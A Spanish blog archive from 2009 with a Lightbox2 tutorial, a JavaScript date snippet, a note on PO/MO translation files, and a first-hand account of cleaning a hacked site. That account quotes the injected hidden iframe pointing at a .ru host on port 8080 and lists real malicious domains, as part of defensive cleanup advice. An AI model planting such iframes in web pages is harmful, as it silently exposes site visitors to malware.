Archivo para el mes septiembre, 2009

En este tutorial veremos como agregar a nuestras galería de fotos un buen efecto para hacerlas dinamicas, rápidas y atractivas para nuestros usuarios sin tener que recurrir a alguna aplicación flash.

Primero debemos descagar la aplicación completa de huddletogether.com y descomprimir el archivo en la raiz de nuestro sitio web.

Una vez que tenemos todos los archivos en su lugar debemos agregar en el head de nuestro html los JS y CSS que son necesarios para hacer funcionar Lightbox2.
Leer el resto de esta entrada…

Crónica de una cuasi tragedia.

  • Viernes por la mañana una página muestra unas líneas en blanco antes del contenido habitual de la misma.
  • Upload de los archivos y problema solucionado
  • Viernes por la tarde un archivo que no se había modificado en meses dá un error de código en la linea 246.
  • Upload del backup y problema solucionado
  • Minutos después nuevamente espacios en blanco, error en línea 246 y la terrible noticia. El antivirus me dice que mi sitio me quiere atacar, a mí, justo a mi, que lo crié  de protrillo.

Aca fue cuando decidí dejar de tomarlo como un error y buscar donde estaba el problema y encontré un código inyectado en todos los index.xx y home.xxx de todas las carpetas sitio.

Específicamente en la etiqueta <body> o inmediatamente después apareció un iframe que trataba de cargar dentro una web. El código aparecido es similar a esto <iframe src=”http://loquesea.ru:8080/index.php” width=125 height=125 style=”visibility: hidden”>. El dominio loquesea.ru, pero a modo de ejemplo estos son alguno d elso dominios reales que aparecieron: u5m.ru:8080 | u1j.in:8080 |u5m.ru:8080 |x8o.ru:8080 |xt7.ru:8080 |39v.ru:8080 y kmuchos otros.

Luego de leer mucho y trabajar con mi sysadmin un largo rato llegué a la conclusión el ingreso fue via FTP por una PC infectada en mi oficina, ya que las otras posibilidades son que se suba por medio de un Form de Upload o por un Administrador de Contenidos con una falla de seguridad pero ninguna de esas dos cosas tiene el sitio.

Solución y recomendaciones:

LO MEJOR: Si tenemos el backup del sitio entero, pues eliminar la cuenta y volver a crear y luego subir todo nuevamentey crear nuevamente bases de datos y cuentas de email.

Cómo ésto no siempre es posible, entonces debemos eliminar todos los index.xxx y home.xxx del sitio y reemplazarlos por los backups o editarlos online para eliminar ese código. Esta edición debe ser via HTTP y no via FTP ya que los FTP hacen un download temporal del archivo y eso infectaría nuestra máquina.

Además debemos cambiar el passwords del FTP y de los administradores de contenidos y por supuesto eviatr los virus en nuestras máquinas teniendo especial cuidado cuando hacemos click algo que viene de una wev y POR SUPUESTO mantener las máquinas con antivirus actualziados.

IMPORTANTE:

Si por algun motivo se va a demorar mucho tiempo en arreglarlo, lo ideal es suspender la cuenta hasta tanto la solución no sea inmediata ya que si nuestro sitio es detectado como dañino, es probable que una vez limpio a los navegantes se les informe mediante una pantalla que dicho site infecto X cantidad de sitios y máquinas.

Google ya sea mostrando uan bes desde los resultados o tratando de acceder a ella desde Chrome muestra esto antes de la web si es que la misma fue detectada. http://google.com/safebrowsing/diagnostic?site=x8n.ru/&hl=es.

Quizás los antivirus de cada navegante ayuden a que la infección de un site no pase a todas las máquinas, pero lo mas probable es que ante el menor error dejarán de visitas la web.


Agregado 21/9/9:
Si el visrus despues de un tiempo vuelve a aparecer, la solución definitiva que encontré fue borrar el hosting y después volver a crearlo. Solo así nos aseguramos que el virus se haya eliminado totalmente de todas las carpetas.

Por ahora nada más sobre el tema, solo que la limpieza total fue hace horas y parece haber funcionado perfectamente.

Fecha actual en JavaScript

Sencillo código que escribe la fecha actual por medio de JS. Es bastante simple de personalizar, ya sea traduciendo el contenido, o dándole formato al texto.

Este es el ejemplo en inglés:

<script>
var mydate=new Date()
var year=mydate.getYear()
if (year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym<10)
daym="0"+daym
var dayarray=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday")
var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December")
document.write(""+montharray[month]+" "+daym+", "+year+"")
</script>

Y este es el ejemplo en español:

<script>
var mydate=new Date()
var year=mydate.getYear()
if (year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym<10)
daym="0"+daym
var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sábado")
var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
document.write(""+daym+" de "+montharray[month]+" de "+year+"")
</script>

Es común ver en los principalmente en los software Open Source, como WordPress, bbPress y la mayoría d elos CMS  una carpeta que contiene una seria de paquetes de traducción en distintos idiomas. Encontraremos por cada idioma 2 archivos, uno MO y uno PO. (Ej./ es_ES.po y es_ES.mo)

El archivo PO es el archivo donde nostros trabajamos creando una condordancia entre una palabra o frase en su idioma original y su posterior traducción, algo así como el código fuente de todo el texto, y el archivo MO que es generado desde el PO y es el archivo que realmente tiene la traducción que debemos subir a internet.

Para crear y editar archivos PO para luego generar el MO recomiendo Poedit o su versión portable.

Descargar Poedit

Descargar Poedit Portable